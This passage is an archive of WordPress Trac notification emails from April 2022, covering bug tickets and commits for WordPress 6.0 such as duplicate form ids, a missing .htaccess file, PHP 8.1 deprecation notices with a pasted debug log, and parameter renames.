Marking for commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55575#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 21:20:55 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 21:20:55 -0000 Subject: [wp-trac] [WordPress Trac] #55575: Duplicate HTML id attribute in Quick/Bulk Edit In-Reply-To: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> References: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> Message-ID: <067.7016e7bda2c6d820992aa2a289cab376@wordpress.org> #55575: Duplicate HTML id attribute in Quick/Bulk Edit -----------------------------+---------------------------- Reporter: GregLone | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: trunk Severity: normal | Resolution: Keywords: has-patch | Focuses: accessibility -----------------------------+---------------------------- Changes (by joedolson): * keywords: has-patch commit => has-patch Comment: Never mind; I missed the second part of this issue. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55575#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 21:27:06 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 21:27:06 -0000 Subject: [wp-trac] [WordPress Trac] #55575: Duplicate HTML id attribute in Quick/Bulk Edit In-Reply-To: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> References: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> Message-ID: <067.151be9f0a5f37506941e60199f6cf629@wordpress.org> #55575: Duplicate HTML id attribute in Quick/Bulk Edit -----------------------------+---------------------------- Reporter: GregLone | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: trunk Severity: normal | Resolution: Keywords: has-patch | Focuses: accessibility -----------------------------+---------------------------- Comment (by joedolson): Looks to me like the copying problem is only an issue on quick edit; the form does not appear to be duplicated for bulk edit. There's also a problem with IDs for any field that's repeated between multiple forms, and that does cover both quick and bulk edit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55575#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 21:30:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 21:30:40 -0000 Subject: [wp-trac] [WordPress Trac] #55591: Multiple Bundled Themes: update translator comments to note screen reader text In-Reply-To: <055.65f3e02a573e567851a0b748d589ee83@wordpress.org> References: <055.65f3e02a573e567851a0b748d589ee83@wordpress.org> Message-ID: <070.c4a075da7220b8ca7b782987f70f5267@wordpress.org> #55591: Multiple Bundled Themes: update translator comments to note screen reader text -------------------------------------------------+------------------------- Reporter: sabernhardt | Owner: | davidbaumwald Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Bundled Theme | Version: Severity: normal | Resolution: Keywords: has-patch commit assigned-for- | Focuses: commit | -------------------------------------------------+------------------------- Changes (by davidbaumwald): * keywords: has-patch commit => has-patch commit assigned-for-commit * owner: (none) => davidbaumwald * status: new => assigned -- Ticket URL: <https://core.trac.wordpress.org/ticket/55591#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 21:31:32 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 21:31:32 -0000 Subject: [wp-trac] [WordPress Trac] #55575: Duplicate HTML id attribute in Quick/Bulk Edit In-Reply-To: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> References: <052.ccb45e1e696a60c3f20beefea771a501@wordpress.org> Message-ID: <067.f1b78d2af2076974f4feab890248296f@wordpress.org> #55575: Duplicate HTML id attribute in Quick/Bulk Edit -----------------------------+---------------------------- Reporter: GregLone | Owner: joedolson Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: trunk Severity: normal | Resolution: Keywords: has-patch | Focuses: accessibility -----------------------------+---------------------------- Comment (by joedolson): Appending context to the form at the point of display, e.g. adapting aria- labelledby, for, and id attributes to something like `current-quick- edit-...` is probably worth exploring. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55575#comment:8> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 20 22:59:23 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 20 Apr 2022 22:59:23 -0000 Subject: [wp-trac] [WordPress Trac] #55592: Prime caches for featured images in post rest api controller In-Reply-To: <056.c1873c9ff5014dcb8c84a7899b12d7da@wordpress.org> References: <056.c1873c9ff5014dcb8c84a7899b12d7da@wordpress.org> Message-ID: <071.6004d5d51d2429d5f681dbdfc95b8779@wordpress.org> #55592: Prime caches for featured images in post rest api controller --------------------------+------------------------------------ Reporter: spacedmonkey | Owner: spacedmonkey Type: enhancement | Status: assigned Priority: normal | Milestone: Future Release Component: REST API | Version: 4.2 Severity: normal | Resolution: Keywords: has-patch | Focuses: rest-api, performance --------------------------+------------------------------------ Changes (by peterwilsoncc): * focuses: rest-api => rest-api, performance -- Ticket URL: <https://core.trac.wordpress.org/ticket/55592#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 00:49:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 00:49:08 -0000 Subject: [wp-trac] [WordPress Trac] #11465: custom field duplicated In-Reply-To: <051.cf03aada80b13e717f339dfa1da2cca9@wordpress.org> References: <051.cf03aada80b13e717f339dfa1da2cca9@wordpress.org> Message-ID: <066.f6861dcb8f4b3a491eaf0a693bde5e09@wordpress.org> #11465: custom field duplicated -------------------------------------+----------------------- Reporter: ericr23 | Owner: westi Type: defect (bug) | Status: accepted Priority: normal | Milestone: 6.1 Component: Editor | Version: 2.8.4 Severity: minor | Resolution: Keywords: has-patch needs-testing | Focuses: -------------------------------------+----------------------- Changes (by sabernhardt): * keywords: has-patch => has-patch needs-testing * component: Options, Meta APIs => Editor * milestone: => 6.1 Comment: This can happen in 6.0 (beta 2), including with the block editor. 11465.3.diff seems to fix it. -- Ticket URL: <https://core.trac.wordpress.org/ticket/11465#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 01:00:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 01:00:39 -0000 Subject: [wp-trac] [WordPress Trac] #54257: tests for is_php_version_compatible and is_wp_version_compatible In-Reply-To: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> References: <051.742eea75dde7adf3ba1a752ab9ed3ea8@wordpress.org> Message-ID: <066.3c96216d73d7bf67382e5376ea7650f5@wordpress.org> #54257: tests for is_php_version_compatible and is_wp_version_compatible --------------------------------------+---------------------- Reporter: pbearne | Owner: pbearne Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: 5.2 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests | Focuses: --------------------------------------+---------------------- Changes (by peterwilsoncc): * status: reopened => closed * resolution: => fixed Comment: In [changeset:"53237" 53237]: {{{ #!CommitTicketReference repository="" revision="53237" Tests, Build Tools: Improve version compatibility tests. Improve tests for `is_wp_version_compatible()` and `is_php_version_compatible()`. Follow up to [53227]. Props costdev, SergeyBiryukov. Fixes #54257. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54257#comment:14> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 02:20:46 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 02:20:46 -0000 Subject: [wp-trac] [WordPress Trac] #55468: Categories Block Needs a Filter In-Reply-To: <051.e110ca9a82df84f573dc2fc510e609b7@wordpress.org> References: <051.e110ca9a82df84f573dc2fc510e609b7@wordpress.org> Message-ID: <066.9f64cc67d3877c5020ab188bc2d0c80f@wordpress.org> #55468: Categories Block Needs a Filter -------------------------------+------------------------------ Reporter: noumaan | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Widgets | Version: 5.9.2 Severity: normal | Resolution: Keywords: reporter-feedback | Focuses: -------------------------------+------------------------------ Comment (by noumaan): Added to feature requests: https://github.com/WordPress/gutenberg/issues/40495 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55468#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 03:40:13 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 03:40:13 -0000 Subject: [wp-trac] [WordPress Trac] #55596: Should font-smoothing antialising setting in 2022 default theme be enabled? Message-ID: <054.30894b8668b96e497482d0043f4a83e2@wordpress.org> #55596: Should font-smoothing antialising setting in 2022 default theme be enabled? ---------------------------+----------------------------- Reporter: happysadhu | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Bundled Theme | Version: Severity: normal | Keywords: Focuses: | ---------------------------+----------------------------- Currently, at the top of 2022's style.css, font-smoothing is enabled by default by the following: body {-moz-osx-font-smoothing: grayscale;-webkit-font-smoothing: antialiased; } Critics of such anti-aliasing font smoothing say that it actually degrades the clarity of fonts on computer screens, particularly dark text on a light background. It switches rendering from subpixel-rendering to pixel level rendering: https://usabilitypost.com/2012/11/05/stop-fixing-font-smoothing/ https://github.com/google/fonts/issues/1170 Perhaps, font-smoothing should not be enabled by default in the default wordpress theme. Cheers, Sam -- Ticket URL: <https://core.trac.wordpress.org/ticket/55596> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 06:02:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 06:02:36 -0000 Subject: [wp-trac] [WordPress Trac] #55176: if $stickies in function stick_post is not array, it should be empty array In-Reply-To: <052.ac7463893a4568e509990b0061d8bf62@wordpress.org> References: <052.ac7463893a4568e509990b0061d8bf62@wordpress.org> Message-ID: <067.fbd4624cd99091cca78a45f4035ee3cc@wordpress.org> #55176: if $stickies in function stick_post is not array, it should be empty array -------------------------------------------------+------------------------- Reporter: denishua | Owner: | peterwilsoncc Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: 5.7 Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests needs- | Focuses: testing | -------------------------------------------------+------------------------- Changes (by peterwilsoncc): * status: assigned => closed * resolution: => fixed Comment: In [changeset:"53238" 53238]: {{{ #!CommitTicketReference repository="" revision="53238" Posts, Post Types: Fix option validation in `stick_post()`. Normalize an invalid `sticky_posts` option to an empty array within `stick_post()`. This fixes a bug in which an unexpected option value would prevent new posts from being made sticky. Follow up to [50380]. Props azouamauriac, denishua, kajalgohel, sergeybiryukov, costdev. Fixes #55176. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55176#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 10:58:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 10:58:53 -0000 Subject: [wp-trac] [WordPress Trac] #55597: WordPress 6.0-beta2-53224 not creating .htaccess Message-ID: <053.44101b80c4a788fb0958a22e715dc141@wordpress.org> #55597: WordPress 6.0-beta2-53224 not creating .htaccess --------------------------+--------------------------------------- Reporter: campation | Owner: (none) Type: defect (bug) | Status: assigned Priority: normal | Milestone: Awaiting Review Component: Permalinks | Version: trunk Severity: critical | Keywords: needs-testing needs-patch Focuses: | --------------------------+--------------------------------------- on my development site (Plesk Obsidian, Centos 7.9) a fresh installed latest WP 6.0 beta2 does not create an .htaccess file at all. Steps: - wordpress-6.0-beta2.zip does not contain .htaccess - unzipped and uploaded to site - domain opened in browser - run set up process until login - no .htaccess created - table wp_options 'permalink_structure' contains "/index.php/%year%/%monthnum%/%day%/%postname%/" - login as admin - selecting a permalink structure and saving on /wp-admin/options- permalink.php - table wp_options 'permalink_structure' contains "/%postname%/" as expected - no .htaccess created - repeated saving of permalink structure does not help to create .htaccess - no entry in debug.log - as to be expected: permalinks not working in front end - only solution: create a basic .htaccess manually To me this seems a severe bug. Found this while testing one of my plugins on WP 6.0 before updating it to plugin repository Chris PS: no answer required -- Ticket URL: <https://core.trac.wordpress.org/ticket/55597> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 11:06:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 11:06:11 -0000 Subject: [wp-trac] [WordPress Trac] #55598: Bunch of errors wordpress-6.0-beta2.zip with PHP 8.1.5 Message-ID: <053.e4e51caa38a840075874a1b2841b76c4@wordpress.org> #55598: Bunch of errors wordpress-6.0-beta2.zip with PHP 8.1.5 ------------------------------+--------------------------------------- Reporter: campation | Owner: (none) Type: defect (bug) | Status: assigned Priority: normal | Milestone: Awaiting Review Component: Build/Test Tools | Version: Severity: major | Keywords: needs-patch needs-testing Focuses: | ------------------------------+--------------------------------------- on my development site (Plesk Obsidian, Centos 7.9) a fresh installed latest WP 6.0 beta2 does create a lot of errors when switching from PHP 8.0.18 (error free) to PHP 8.1.5. See attached debug.log created during first login as admin. Chris PS: no answer required [21-Apr-2022 10:59:44 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetExists($key) should either be compatible with ArrayAccess::offsetExists(mixed $offset): bool, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 63 [21-Apr-2022 10:59:44 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetGet($key) should either be compatible with ArrayAccess::offsetGet(mixed $offset): mixed, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 73 [21-Apr-2022 10:59:44 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetSet($key, $value) should either be compatible with ArrayAccess::offsetSet(mixed $offset, mixed $value): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 89 [21-Apr-2022 10:59:44 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetUnset($key) should either be compatible with ArrayAccess::offsetUnset(mixed $offset): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 102 [21-Apr-2022 10:59:44 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::getIterator() should either be compatible with IteratorAggregate::getIterator(): Traversable, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 111 [21-Apr-2022 10:59:44 UTC] PHP Deprecated: http_build_query(): Passing null to parameter #2 ($numeric_prefix) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Transport/cURL.php on line 345 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetExists($key) should either be compatible with ArrayAccess::offsetExists(mixed $offset): bool, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 40 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetGet($key) should either be compatible with ArrayAccess::offsetGet(mixed $offset): mixed, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 51 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetSet($key, $value) should either be compatible with ArrayAccess::offsetSet(mixed $offset, mixed $value): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 68 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetUnset($key) should either be compatible with ArrayAccess::offsetUnset(mixed $offset): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 82 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::getIterator() should either be compatible with IteratorAggregate::getIterator(): Traversable, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 91 [21-Apr-2022 10:59:45 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php:15) in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp-admin/admin- header.php on line 9 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: setcookie(): Passing null to parameter #5 ($domain) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/option.php on line 1111 [21-Apr-2022 10:59:45 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php:15) in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/option.php on line 1111 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: setcookie(): Passing null to parameter #5 ($domain) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/option.php on line 1112 [21-Apr-2022 10:59:45 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php:15) in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/option.php on line 1112 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/formatting.php on line 2772 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/formatting.php on line 2772 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/formatting.php on line 2772 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/formatting.php on line 2772 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/formatting.php on line 2772 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/formatting.php on line 2772 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/formatting.php on line 2772 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/formatting.php on line 2772 [21-Apr-2022 10:59:45 UTC] PHP Deprecated: rtrim(): Passing null to parameter #1 ($string) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/formatting.php on line 2772 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetExists($key) should either be compatible with ArrayAccess::offsetExists(mixed $offset): bool, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 63 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetGet($key) should either be compatible with ArrayAccess::offsetGet(mixed $offset): mixed, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 73 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetSet($key, $value) should either be compatible with ArrayAccess::offsetSet(mixed $offset, mixed $value): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 89 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetUnset($key) should either be compatible with ArrayAccess::offsetUnset(mixed $offset): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 102 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::getIterator() should either be compatible with IteratorAggregate::getIterator(): Traversable, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 111 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: http_build_query(): Passing null to parameter #2 ($numeric_prefix) of type string is deprecated in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Transport/cURL.php on line 530 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetExists($key) should either be compatible with ArrayAccess::offsetExists(mixed $offset): bool, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 63 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetGet($key) should either be compatible with ArrayAccess::offsetGet(mixed $offset): mixed, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 73 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetSet($key, $value) should either be compatible with ArrayAccess::offsetSet(mixed $offset, mixed $value): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 89 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::offsetUnset($key) should either be compatible with ArrayAccess::offsetUnset(mixed $offset): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 102 [21-Apr-2022 10:59:46 UTC] PHP Deprecated: Return type of Requests_Cookie_Jar::getIterator() should either be compatible with IteratorAggregate::getIterator(): Traversable, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Cookie/Jar.php on line 111 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetExists($key) should either be compatible with ArrayAccess::offsetExists(mixed $offset): bool, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 40 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetGet($key) should either be compatible with ArrayAccess::offsetGet(mixed $offset): mixed, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 51 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetSet($key, $value) should either be compatible with ArrayAccess::offsetSet(mixed $offset, mixed $value): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 68 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetUnset($key) should either be compatible with ArrayAccess::offsetUnset(mixed $offset): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 82 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::getIterator() should either be compatible with IteratorAggregate::getIterator(): Traversable, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 91 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetExists($key) should either be compatible with ArrayAccess::offsetExists(mixed $offset): bool, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 40 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetGet($key) should either be compatible with ArrayAccess::offsetGet(mixed $offset): mixed, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 51 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetSet($key, $value) should either be compatible with ArrayAccess::offsetSet(mixed $offset, mixed $value): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 68 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::offsetUnset($key) should either be compatible with ArrayAccess::offsetUnset(mixed $offset): void, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 82 [21-Apr-2022 10:59:47 UTC] PHP Deprecated: Return type of Requests_Utility_CaseInsensitiveDictionary::getIterator() should either be compatible with IteratorAggregate::getIterator(): Traversable, or the #[\ReturnTypeWillChange] attribute should be used to temporarily suppress the notice in /var/www/vhosts/campation.com/subdomains/beta/httpdocs/wp- includes/Requests/Utility/CaseInsensitiveDictionary.php on line 91 -- Ticket URL: <https://core.trac.wordpress.org/ticket/55598> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 11:23:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 21 Apr 2022 11:23:03 -0000 Subject: [wp-trac] [WordPress Trac] #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 In-Reply-To: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> References: <057.dcc49bb86c8fa8cf2894927282c1e076@wordpress.org> Message-ID: <072.9592f0986293aa25705955193cdb6713@wordpress.org> #55327: PHP 8.0: improvements to allow for named parameters in WP 6.0 -----------------------------+--------------------- Reporter: peterwilsoncc | Owner: (none) Type: task (blessed) | Status: new Priority: normal | Milestone: 6.0 Component: General | Version: Severity: normal | Resolution: Keywords: php80 has-patch | Focuses: -----------------------------+--------------------- Comment (by SergeyBiryukov): In [changeset:"53239" 53239]: {{{ #!CommitTicketReference repository="" revision="53239" Code Modernization: Rename parameters that use reserved keywords in `wp- includes/atomlib.php`. While using reserved PHP keywords as parameter name labels is allowed, in the context of function calls using named parameters in PHP 8.0+, this will easily lead to confusion. To avoid that, it is recommended not to use reserved keywords as function parameter names. This commit renames the `$string` parameter to `$content` in `AtomParser::xml_escape()`. Follow-up to [52946], [52996], [52997], [52998], [53003], [53014], [53029], [53039], [53116], [53117], [53137], [53174], [53184], [53185], [53192], [53193], [53198], [53203], [53207], [53215], [53216], [53220], [53230], [53232], [53236]. Props jrf, aristath, poena, justinahinon, SergeyBiryukov. See #55327. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55327#comment:39> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 21 11:55:50 2022 From: noreply at 